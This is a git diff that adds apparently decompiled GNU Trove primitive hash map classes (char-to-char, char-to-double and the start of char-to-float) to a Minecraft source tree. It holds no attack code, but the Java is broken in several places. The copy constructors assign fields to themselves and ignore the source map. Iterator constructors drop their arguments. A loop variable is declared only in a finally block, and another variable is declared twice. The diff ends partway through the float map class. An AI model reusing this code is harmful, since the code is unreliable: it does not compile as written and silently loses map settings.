+  }
+  
+
+
+
+  class TCharCharKeyHashIterator
+    extends THashPrimitiveIterator
+    implements TCharIterator
+  {
+    TCharCharKeyHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public char next()
+    {
+      moveToNextIndex();
+      return _set[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+
+  class TCharCharValueHashIterator
+    extends THashPrimitiveIterator
+    implements TCharIterator
+  {
+    TCharCharValueHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public char next()
+    {
+      moveToNextIndex();
+      return _values[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+  class TCharCharHashIterator
+    extends THashPrimitiveIterator
+    implements TCharCharIterator
+  {
+    TCharCharHashIterator(TCharCharHashMap map)
+    {
+      super();
+    }
+    
+    public void advance()
+    {
+      moveToNextIndex();
+    }
+    
+    public char key()
+    {
+      return _set[_index];
+    }
+    
+    public char value()
+    {
+      return _values[_index];
+    }
+    
+    public char setValue(char val)
+    {
+      char old = value();
+      _values[_index] = val;
+      return old;
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+  public boolean equals(Object other)
+  {
+    if (!(other instanceof TCharCharMap)) {
+      return false;
+    }
+    TCharCharMap that = (TCharCharMap)other;
+    if (that.size() != size()) {
+      return false;
+    }
+    char[] values = _values;
+    byte[] states = _states;
+    char this_no_entry_value = getNoEntryValue();
+    char that_no_entry_value = that.getNoEntryValue();
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        char key = _set[i];
+        char that_value = that.get(key);
+        char this_value = values[i];
+        if ((this_value != that_value) && (this_value != this_no_entry_value) && (that_value != that_no_entry_value))
+        {
+
+          return false;
+        }
+      }
+    }
+    return true;
+  }
+  
+
+
+  public int hashCode()
+  {
+    int hashcode = 0;
+    byte[] states = _states;
+    for (int i = _values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        hashcode += (HashFunctions.hash(_set[i]) ^ HashFunctions.hash(_values[i]));
+      }
+    }
+    
+    return hashcode;
+  }
+  
+
+
+  public String toString()
+  {
+    final StringBuilder buf = new StringBuilder("{");
+    forEachEntry(new TCharCharProcedure() {
+      private boolean first = true;
+      
+      public boolean execute(char key, char value) { if (first) first = false; else {
+          buf.append(",");
+        }
+        buf.append(key);
+        buf.append("=");
+        buf.append(value);
+        return true;
+      }
+    });
+    buf.append("}");
+    return buf.toString();
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeInt(_size);
+    
+
+    for (int i = _states.length; i-- > 0;) {
+      if (_states[i] == 1) {
+        out.writeChar(_set[i]);
+        out.writeChar(_values[i]);
+      }
+    }
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    int size = in.readInt();
+    setUp(size);
+    
+
+    while (size-- > 0) {
+      char key = in.readChar();
+      char val = in.readChar();
+      put(key, val);
+    }
+  }
+}
diff --git a/src/minecraft/gnu/trove/map/hash/TCharDoubleHashMap.java b/src/minecraft/gnu/trove/map/hash/TCharDoubleHashMap.java
new file mode 100644
index 0000000..8bf064c
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/hash/TCharDoubleHashMap.java
@@ -0,0 +1,1293 @@
+package gnu.trove.map.hash;
+
+import gnu.trove.TCharCollection;
+import gnu.trove.TDoubleCollection;
+import gnu.trove.function.TDoubleFunction;
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.impl.hash.TCharDoubleHash;
+import gnu.trove.impl.hash.THashPrimitiveIterator;
+import gnu.trove.impl.hash.TPrimitiveHash;
+import gnu.trove.iterator.TCharDoubleIterator;
+import gnu.trove.iterator.TCharIterator;
+import gnu.trove.iterator.TDoubleIterator;
+import gnu.trove.map.TCharDoubleMap;
+import gnu.trove.procedure.TCharDoubleProcedure;
+import gnu.trove.procedure.TCharProcedure;
+import gnu.trove.procedure.TDoubleProcedure;
+import gnu.trove.set.TCharSet;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.ConcurrentModificationException;
+import java.util.Map;
+import java.util.Map.Entry;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TCharDoubleHashMap
+  extends TCharDoubleHash
+  implements TCharDoubleMap, Externalizable
+{
+  static final long serialVersionUID = 1L;
+  protected transient double[] _values;
+  
+  public TCharDoubleHashMap() {}
+  
+  public TCharDoubleHashMap(int initialCapacity)
+  {
+    super(initialCapacity);
+  }
+  
+
+
+
+
+
+
+
+
+  public TCharDoubleHashMap(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public TCharDoubleHashMap(int initialCapacity, float loadFactor, char noEntryKey, double noEntryValue)
+  {
+    super(initialCapacity, loadFactor, noEntryKey, noEntryValue);
+  }
+  
+
+
+
+
+
+
+
+  public TCharDoubleHashMap(char[] keys, double[] values)
+  {
+    super(Math.max(keys.length, values.length));
+    
+    int size = Math.min(keys.length, values.length);
+    for (int i = 0; i < size; i++) {
+      put(keys[i], values[i]);
+    }
+  }
+  
+
+
+
+
+
+
+  public TCharDoubleHashMap(TCharDoubleMap map)
+  {
+    super(map.size());
+    if ((map instanceof TCharDoubleHashMap)) {
+      TCharDoubleHashMap hashmap = (TCharDoubleHashMap)map;
+      _loadFactor = _loadFactor;
+      no_entry_key = no_entry_key;
+      no_entry_value = no_entry_value;
+      
+      if (no_entry_key != 0) {
+        Arrays.fill(_set, no_entry_key);
+      }
+      
+      if (no_entry_value != 0.0D) {
+        Arrays.fill(_values, no_entry_value);
+      }
+      setUp((int)Math.ceil(10.0F / _loadFactor));
+    }
+    putAll(map);
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _values = new double[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  protected void rehash(int newCapacity)
+  {
+    int oldCapacity = _set.length;
+    char[] oldKeys = _set;
+    double[] oldVals = _values;
+    byte[] oldStates = _states;
+    
+    _set = new char[newCapacity];
+    _values = new double[newCapacity];
+    _states = new byte[newCapacity];
+    
+    for (int i = oldCapacity; i-- > 0;) {
+      if (oldStates[i] == 1) {
+        char o = oldKeys[i];
+        int index = insertionIndex(o);
+        _set[index] = o;
+        _values[index] = oldVals[i];
+        _states[index] = 1;
+      }
+    }
+  }
+  
+
+  public double put(char key, double value)
+  {
+    int index = insertionIndex(key);
+    return doPut(key, value, index);
+  }
+  
+
+  public double putIfAbsent(char key, double value)
+  {
+    int index = insertionIndex(key);
+    if (index < 0)
+      return _values[(-index - 1)];
+    return doPut(key, value, index);
+  }
+  
+
+  private double doPut(char key, double value, int index)
+  {
+    double previous = no_entry_value;
+    boolean isNewMapping = true;
+    if (index < 0) {
+      index = -index - 1;
+      previous = _values[index];
+      isNewMapping = false;
+    }
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    _values[index] = value;
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return previous;
+  }
+  
+
+  public void putAll(Map<? extends Character, ? extends Double> map)
+  {
+    ensureCapacity(map.size());
+    
+    for (Map.Entry<? extends Character, ? extends Double> entry : map.entrySet()) {
+      put(((Character)entry.getKey()).charValue(), ((Double)entry.getValue()).doubleValue());
+    }
+  }
+  
+
+  public void putAll(TCharDoubleMap map)
+  {
+    ensureCapacity(map.size());
+    TCharDoubleIterator iter = map.iterator();
+    while (iter.hasNext()) {
+      iter.advance();
+      put(iter.key(), iter.value());
+    }
+  }
+  
+
+  public double get(char key)
+  {
+    int index = index(key);
+    return index < 0 ? no_entry_value : _values[index];
+  }
+  
+
+  public void clear()
+  {
+    super.clear();
+    Arrays.fill(_set, 0, _set.length, no_entry_key);
+    Arrays.fill(_values, 0, _values.length, no_entry_value);
+    Arrays.fill(_states, 0, _states.length, (byte)0);
+  }
+  
+
+  public boolean isEmpty()
+  {
+    return 0 == _size;
+  }
+  
+
+  public double remove(char key)
+  {
+    double prev = no_entry_value;
+    int index = index(key);
+    if (index >= 0) {
+      prev = _values[index];
+      removeAt(index);
+    }
+    return prev;
+  }
+  
+
+  public void removeAt(int index)
+  {
+    _values[index] = no_entry_value;
+    super.removeAt(index);
+  }
+  
+
+  public TCharSet keySet()
+  {
+    return new TKeyView();
+  }
+  
+
+  public char[] keys()
+  {
+    char[] keys = new char[size()];
+    char[] k = _set;
+    byte[] states = _states;
+    
+    int i = k.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        keys[(j++)] = k[i];
+      }
+    }
+    return keys;
+  }
+  
+
+  public char[] keys(char[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new char[size];
+    }
+    
+    char[] keys = _set;
+    byte[] states = _states;
+    
+    int i = keys.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = keys[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public TDoubleCollection valueCollection()
+  {
+    return new TValueView();
+  }
+  
+
+  public double[] values()
+  {
+    double[] vals = new double[size()];
+    double[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        vals[(j++)] = v[i];
+      }
+    }
+    return vals;
+  }
+  
+
+  public double[] values(double[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new double[size];
+    }
+    
+    double[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = v[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public boolean containsValue(double val)
+  {
+    byte[] states = _states;
+    double[] vals = _values;
+    
+    for (int i = vals.length; i-- > 0;) {
+      if ((states[i] == 1) && (val == vals[i])) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+  public boolean containsKey(char key)
+  {
+    return contains(key);
+  }
+  
+
+  public TCharDoubleIterator iterator()
+  {
+    return new TCharDoubleHashIterator(this);
+  }
+  
+
+  public boolean forEachKey(TCharProcedure procedure)
+  {
+    return forEach(procedure);
+  }
+  
+
+  public boolean forEachValue(TDoubleProcedure procedure)
+  {
+    byte[] states = _states;
+    double[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public boolean forEachEntry(TCharDoubleProcedure procedure)
+  {
+    byte[] states = _states;
+    char[] keys = _set;
+    double[] values = _values;
+    for (int i = keys.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public void transformValues(TDoubleFunction function)
+  {
+    byte[] states = _states;
+    double[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        values[i] = function.execute(values[i]);
+      }
+    }
+  }
+  
+
+  public boolean retainEntries(TCharDoubleProcedure procedure)
+  {
+    boolean modified = false;
+    byte[] states = _states;
+    char[] keys = _set;
+    double[] values = _values;
+    
+
+
+    tempDisableAutoCompaction();
+    try {
+      for (i = keys.length; i-- > 0;) {
+        if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+          removeAt(i);
+          modified = true;
+        }
+      }
+    } finally {
+      int i;
+      reenableAutoCompaction(true);
+    }
+    
+    return modified;
+  }
+  
+
+  public boolean increment(char key)
+  {
+    return adjustValue(key, 1.0D);
+  }
+  
+
+  public boolean adjustValue(char key, double amount)
+  {
+    int index = index(key);
+    if (index < 0) {
+      return false;
+    }
+    _values[index] += amount;
+    return true;
+  }
+  
+
+
+  public double adjustOrPutValue(char key, double adjust_amount, double put_amount)
+  {
+    int index = insertionIndex(key);
+    boolean isNewMapping;
+    double newValue;
+    boolean isNewMapping; if (index < 0) {
+      index = -index - 1;
+      double newValue = _values[index] += adjust_amount;
+      isNewMapping = false;
+    } else {
+      newValue = _values[index] = put_amount;
+      isNewMapping = true;
+    }
+    
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return newValue;
+  }
+  
+  protected class TKeyView implements TCharSet
+  {
+    protected TKeyView() {}
+    
+    public TCharIterator iterator()
+    {
+      return new TCharDoubleHashMap.TCharDoubleKeyHashIterator(TCharDoubleHashMap.this, TCharDoubleHashMap.this);
+    }
+    
+
+    public char getNoEntryValue()
+    {
+      return no_entry_key;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(char entry)
+    {
+      return TCharDoubleHashMap.this.contains(entry);
+    }
+    
+
+    public char[] toArray()
+    {
+      return keys();
+    }
+    
+
+    public char[] toArray(char[] dest)
+    {
+      return keys(dest);
+    }
+    
+
+
+
+
+
+    public boolean add(char entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(char entry)
+    {
+      return no_entry_value != remove(entry);
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Character)) {
+          char ele = ((Character)element).charValue();
+          if (!containsKey(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TCharCollection collection)
+    {
+      TCharIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsKey(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(char[] array)
+    {
+      for (char element : array) {
+        if (!TCharDoubleHashMap.this.contains(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+
+
+
+
+    public boolean addAll(Collection<? extends Character> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(TCharCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(char[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TCharIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Character.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TCharCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TCharIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(char[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      char[] set = _set;
+      byte[] states = _states;
+      
+      for (int i = set.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, set[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Character)) {
+          char c = ((Character)element).charValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TCharCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TCharIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        char element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(char[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TCharDoubleHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TCharProcedure procedure)
+    {
+      return forEachKey(procedure);
+    }
+    
+
+    public boolean equals(Object other)
+    {
+      if (!(other instanceof TCharSet)) {
+        return false;
+      }
+      TCharSet that = (TCharSet)other;
+      if (that.size() != size()) {
+        return false;
+      }
+      for (int i = _states.length; i-- > 0;) {
+        if ((_states[i] == 1) && 
+          (!that.contains(_set[i]))) {
+          return false;
+        }
+      }
+      
+      return true;
+    }
+    
+
+    public int hashCode()
+    {
+      int hashcode = 0;
+      for (int i = _states.length; i-- > 0;) {
+        if (_states[i] == 1) {
+          hashcode += HashFunctions.hash(_set[i]);
+        }
+      }
+      return hashcode;
+    }
+    
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachKey(new TCharProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(char key)
+        {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(key);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+  protected class TValueView implements TDoubleCollection
+  {
+    protected TValueView() {}
+    
+    public TDoubleIterator iterator()
+    {
+      return new TCharDoubleHashMap.TCharDoubleValueHashIterator(TCharDoubleHashMap.this, TCharDoubleHashMap.this);
+    }
+    
+
+    public double getNoEntryValue()
+    {
+      return no_entry_value;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(double entry)
+    {
+      return containsValue(entry);
+    }
+    
+
+    public double[] toArray()
+    {
+      return values();
+    }
+    
+
+    public double[] toArray(double[] dest)
+    {
+      return values(dest);
+    }
+    
+
+    public boolean add(double entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(double entry)
+    {
+      double[] values = _values;
+      char[] set = _set;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((set[i] != 0) && (set[i] != '\002') && (entry == values[i])) {
+          removeAt(i);
+          return true;
+        }
+      }
+      return false;
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Double)) {
+          double ele = ((Double)element).doubleValue();
+          if (!containsValue(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TDoubleCollection collection)
+    {
+      TDoubleIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsValue(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(double[] array)
+    {
+      for (double element : array) {
+        if (!containsValue(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean addAll(Collection<? extends Double> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(TDoubleCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(double[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TDoubleIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Double.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TDoubleCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TDoubleIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(double[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      double[] values = _values;
+      byte[] states = _states;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, values[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Double)) {
+          double c = ((Double)element).doubleValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TDoubleCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TDoubleIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        double element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(double[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TCharDoubleHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TDoubleProcedure procedure)
+    {
+      return forEachValue(procedure);
+    }
+    
+
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachValue(new TDoubleProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(double value) {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(value);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+
+
+
+  class TCharDoubleKeyHashIterator
+    extends THashPrimitiveIterator
+    implements TCharIterator
+  {
+    TCharDoubleKeyHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public char next()
+    {
+      moveToNextIndex();
+      return _set[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+
+  class TCharDoubleValueHashIterator
+    extends THashPrimitiveIterator
+    implements TDoubleIterator
+  {
+    TCharDoubleValueHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public double next()
+    {
+      moveToNextIndex();
+      return _values[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+  class TCharDoubleHashIterator
+    extends THashPrimitiveIterator
+    implements TCharDoubleIterator
+  {
+    TCharDoubleHashIterator(TCharDoubleHashMap map)
+    {
+      super();
+    }
+    
+    public void advance()
+    {
+      moveToNextIndex();
+    }
+    
+    public char key()
+    {
+      return _set[_index];
+    }
+    
+    public double value()
+    {
+      return _values[_index];
+    }
+    
+    public double setValue(double val)
+    {
+      double old = value();
+      _values[_index] = val;
+      return old;
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+  public boolean equals(Object other)
+  {
+    if (!(other instanceof TCharDoubleMap)) {
+      return false;
+    }
+    TCharDoubleMap that = (TCharDoubleMap)other;
+    if (that.size() != size()) {
+      return false;
+    }
+    double[] values = _values;
+    byte[] states = _states;
+    double this_no_entry_value = getNoEntryValue();
+    double that_no_entry_value = that.getNoEntryValue();
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        char key = _set[i];
+        double that_value = that.get(key);
+        double this_value = values[i];
+        if ((this_value != that_value) && (this_value != this_no_entry_value) && (that_value != that_no_entry_value))
+        {
+
+          return false;
+        }
+      }
+    }
+    return true;
+  }
+  
+
+
+  public int hashCode()
+  {
+    int hashcode = 0;
+    byte[] states = _states;
+    for (int i = _values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        hashcode += (HashFunctions.hash(_set[i]) ^ HashFunctions.hash(_values[i]));
+      }
+    }
+    
+    return hashcode;
+  }
+  
+
+
+  public String toString()
+  {
+    final StringBuilder buf = new StringBuilder("{");
+    forEachEntry(new TCharDoubleProcedure() {
+      private boolean first = true;
+      
+      public boolean execute(char key, double value) { if (first) first = false; else {
+          buf.append(",");
+        }
+        buf.append(key);
+        buf.append("=");
+        buf.append(value);
+        return true;
+      }
+    });
+    buf.append("}");
+    return buf.toString();
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeInt(_size);
+    
+
+    for (int i = _states.length; i-- > 0;) {
+      if (_states[i] == 1) {
+        out.writeChar(_set[i]);
+        out.writeDouble(_values[i]);
+      }
+    }
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    int size = in.readInt();
+    setUp(size);
+    
+
+    while (size-- > 0) {
+      char key = in.readChar();
+      double val = in.readDouble();
+      put(key, val);
+    }
+  }
+}
diff --git a/src/minecraft/gnu/trove/map/hash/TCharFloatHashMap.java b/src/minecraft/gnu/trove/map/hash/TCharFloatHashMap.java
new file mode 100644
index 0000000..dbfa74e
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/hash/TCharFloatHashMap.java
@@ -0,0 +1,1293 @@
+package gnu.trove.map.hash;
+
+import gnu.trove.TCharCollection;
+import gnu.trove.TFloatCollection;
+import gnu.trove.function.TFloatFunction;
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.impl.hash.TCharFloatHash;
+import gnu.trove.impl.hash.THashPrimitiveIterator;
+import gnu.trove.impl.hash.TPrimitiveHash;
+import gnu.trove.iterator.TCharFloatIterator;
+import gnu.trove.iterator.TCharIterator;
+import gnu.trove.iterator.TFloatIterator;
+import gnu.trove.map.TCharFloatMap;
+import gnu.trove.procedure.TCharFloatProcedure;
+import gnu.trove.procedure.TCharProcedure;
+import gnu.trove.procedure.TFloatProcedure;
+import gnu.trove.set.TCharSet;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.ConcurrentModificationException;
+import java.util.Map;
+import java.util.Map.Entry;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TCharFloatHashMap
+  extends TCharFloatHash
+  implements TCharFloatMap, Externalizable
+{
+  static final long serialVersionUID = 1L;
+  protected transient float[] _values;
+  
+  public TCharFloatHashMap() {}
+  
+  public TCharFloatHashMap(int initialCapacity)
+  {
+    super(initialCapacity);
+  }
+  
+
+
+
+
+
+
+
+
+  public TCharFloatHashMap(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public TCharFloatHashMap(int initialCapacity, float loadFactor, char noEntryKey, float noEntryValue)
+  {
+    super(initialCapacity, loadFactor, noEntryKey, noEntryValue);
+  }
+  
+
+
+
+
+
+
+
+  public TCharFloatHashMap(char[] keys, float[] values)
+  {
+    super(Math.max(keys.length, values.length));
+    
+    int size = Math.min(keys.length, values.length);
+    for (int i = 0; i < size; i++) {
+      put(keys[i], values[i]);
+    }
+  }
+  
+
+
+
+
+
+
+  public TCharFloatHashMap(TCharFloatMap map)
+  {
+    super(map.size());
+    if ((map instanceof TCharFloatHashMap)) {
+      TCharFloatHashMap hashmap = (TCharFloatHashMap)map;
+      _loadFactor = _loadFactor;
+      no_entry_key = no_entry_key;
+      no_entry_value = no_entry_value;
+      
+      if (no_entry_key != 0) {
+        Arrays.fill(_set, no_entry_key);
+      }
+      
+      if (no_entry_value != 0.0F) {
+        Arrays.fill(_values, no_entry_value);
+      }
+      setUp((int)Math.ceil(10.0F / _loadFactor));
+    }
+    putAll(map);
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _values = new float[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  protected void rehash(int newCapacity)
+  {
+    int oldCapacity = _set.length;
+    char[] oldKeys = _set;
+    float[] oldVals = _values;
+    byte[] oldStates = _states;
+    
+    _set = new char[newCapacity];
+    _values = new float[newCapacity];
+    _states = new byte[newCapacity];
+    
+    for (int i = oldCapacity; i-- > 0;) {
+      if (oldStates[i] == 1) {
+        char o = oldKeys[i];
+        int index = insertionIndex(o);
+        _set[index] = o;
+        _values[index] = oldVals[i];
+        _states[index] = 1;
+      }
+    }
+  }
+  
+
